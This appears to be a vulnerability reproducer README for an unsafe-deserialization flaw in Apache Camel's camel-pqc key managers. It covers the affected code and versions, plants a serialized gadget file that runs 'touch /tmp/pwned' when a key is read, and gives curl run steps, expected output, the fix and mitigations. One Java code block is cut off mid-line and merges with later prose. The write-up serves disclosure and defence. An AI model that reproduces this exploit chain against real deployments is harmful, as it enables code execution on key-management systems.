Share
## https://sploitus.com/exploit?id=49EE1253-F2A6-5716-B854-A64DBBD5E17E
# camel-pqc Key-Lifecycle Unsafe Deserialization Reproducer (CVE-2026-46590)

This project demonstrates an **unsafe deserialization** (CWE-502) in Apache Camel's `camel-pqc` component,
tracked as **CVE-2026-46590**. The post-quantum key-lifecycle managers persist key material and metadata, and
read *legacy* (Java-serialized) values back with a raw `java.io.ObjectInputStream` and **no `ObjectInputFilter`**.
The cast to the expected type happens only *after* `readObject()` returns, so any `readObject()` side effects in a
crafted object run before the type check.

This is an **incomplete-remediation follow-on to CVE-2026-40048 (CAMEL-23200)**: that fix changed
`FileBasedKeyLifecycleManager` to store metadata as JSON / PKCS#8 / X.509 but did not add an `ObjectInputFilter`,
did not cover the HashiCorp Vault and AWS Secrets Manager sibling managers, and left
`FileBasedKeyLifecycleManager`'s own legacy-migration deserialization unfiltered.

This PoC targets the **`FileBasedKeyLifecycleManager`** path, which is completely self-contained (a file on disk,
no external service). It plants an attacker-controlled legacy `.key` file; a routine `getKey()` call then migrates
it through `ObjectInputStream.readObject()` and executes the embedded gadget.

> The AWS Secrets Manager variant of the same defect is separately tracked as **CVE-2026-43867** and reproduced at
> https://github.com/oscerd/CVE-2026-43867 . The HashiCorp Vault manager is affected the same way.

Advisory: https://camel.apache.org/security/CVE-2026-46590.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-pqc` |
| **Affected Class** | `org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager#migrateLegacyKey` (and `migrateLegacyMetadata`), plus the `HashicorpVault` / `AwsSecretsManager` siblings |
| **CWE** | CWE-502 (Deserialization of Untrusted Data) |
| **Impact** | Code execution in the key-management application when a legacy key/metadata value is read |
| **Preconditions** | Write access to the operator-controlled key backend (here: the key directory on disk) |
| **Affected Versions** | From 4.18.0 before 4.18.3, from 4.19.0 before 4.21.0 (camel-pqc key managers do not exist before 4.16.0, so 4.14.x is not affected) |
| **Fixed Versions** | 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23726 (PR [apache/camel#23912](https://github.com/apache/camel/pull/23912), backport #23914) |
| **Credit** | Yu Bao (PayPal) |

## Technical Details

```java
// FileBasedKeyLifecycleManager (affected 4.18.2) โ€” getKey() falls back to migrating a legacy .key file:
public KeyPair getKey(String keyId) throws Exception {
    ...
    Path legacyKeyFile = getLegacyKeyFile(keyId);            // .key
    if (Files.exists(legacyKeyFile)) {
        return migrateLegacyKey(keyId);
    }
    ...
}

private KeyPair migrateLegacyKey(String keyId) throws Exception {
    Path legacyKeyFile = getLegacyKeyFile(keyId);
    KeyPair keyPair;
    try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(legacyKeyFile)))) {
        keyPair = (KeyPair) ois.readObject();               //  Note on the sibling metadata path: on 4.18.2 `getKeyMetadata()` reads the metadata file as UTF-8 text before
> the format check, so a *pure* serialized metadata blob triggers `MalformedInputException` first โ€” which is why
> this PoC uses the `.key` migration path (`migrateLegacyKey` reads the bytes directly). The fix nonetheless
> filters both reads.

## What the reproducer does

- **Attacker**: writes a legacy `victim-key.key` file into the key directory โ€” a raw Java-serialized
  CommonsCollections6 gadget. Writing it is inert (the gadget only fires on `readObject()`).
- **Victim**: performs a routine `manager.getKey("victim-key")`. With no JSON key files present, the manager
  migrates the legacy file via `ObjectInputStream.readObject()`, and the gadget runs `touch /tmp/pwned` before the
  `(KeyPair)` cast throws `ClassCastException`.

The benign payload is `touch /tmp/pwned`; a real attacker chooses the command.

## Repository layout

```
CVE-2026-46590/
โ”œโ”€โ”€ pom.xml                 # camel-pqc 4.18.2 + commons-collections 3.2.1 (gadget)
โ”œโ”€โ”€ Dockerfile              # runs with --add-opens java.base/java.util (needed only to BUILD the gadget)
โ”œโ”€โ”€ docker-compose.yml      # single self-contained service
โ”œโ”€โ”€ README.md
โ””โ”€โ”€ src/main/
    โ”œโ”€โ”€ java/com/example/
    โ”‚   โ”œโ”€โ”€ Application.java
    โ”‚   โ”œโ”€โ”€ Gadget.java              # builds the CommonsCollections6 gadget
    โ”‚   โ””โ”€โ”€ ExploitController.java   # plants the legacy .key file, then calls getKey()
    โ””โ”€โ”€ resources/
        โ””โ”€โ”€ application.properties
```

## Prerequisites

- Java 17+ and Maven 3.8+
- Docker (optional, for the containerised run)

## Reproduction Steps

### Option A โ€” Docker (recommended)

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker exec cve-2026-46590 ls -l /tmp/pwned      # created by the deserialization
docker compose down
```

### Option B โ€” run the jar directly

```bash
mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED -jar target/cve-2026-46590-pqc-file-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
ls -l /tmp/pwned
```

> `--add-opens java.base/java.util=ALL-UNNAMED` is required only to *construct* the CommonsCollections6 gadget by
> reflection. The vulnerable `readObject()` sink itself needs no special flags.

### Expected output

```
marker before: false
attacker planted legacy key file: /tmp/pqc-keys-.../victim-key.key
victim called manager.getKey("victim-key") -> getKey threw ClassCastException (after the gadget already ran)

marker after (/tmp/pwned): true

>>> Unsafe-deserialization proof โ€” retrieving a key migrated an attacker-planted legacy key
>>> file and executed code (touch /tmp/pwned): true
```

## Exploit Conditions

1. An application uses `FileBasedKeyLifecycleManager` (or the Vault / AWS sibling) on an affected version.
2. A principal can write to the key backend โ€” here, drop a file into the key directory. Under the project's
   security model this is handled as defensive hardening rather than unauthenticated RCE, because writing the key
   store already implies the ability to read or replace the private keys.

## Recommended Fix

Upgrade to **4.18.3 / 4.21.0** (CAMEL-23726). The legacy `ObjectInputStream` reads are then constrained by an
allow-list `ObjectInputFilter`, metadata is stored as JSON across all three managers, and format detection is
binary-safe.

## Mitigation

Until upgrading, restrict write access to the key backend so only the application's own identity can write the
camel-pqc secrets (least-privilege Vault policies / `secretsmanager:PutSecretValue` IAM / filesystem permissions),
and keep the PQC key material in a backend separate from any data that less-trusted principals can write.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.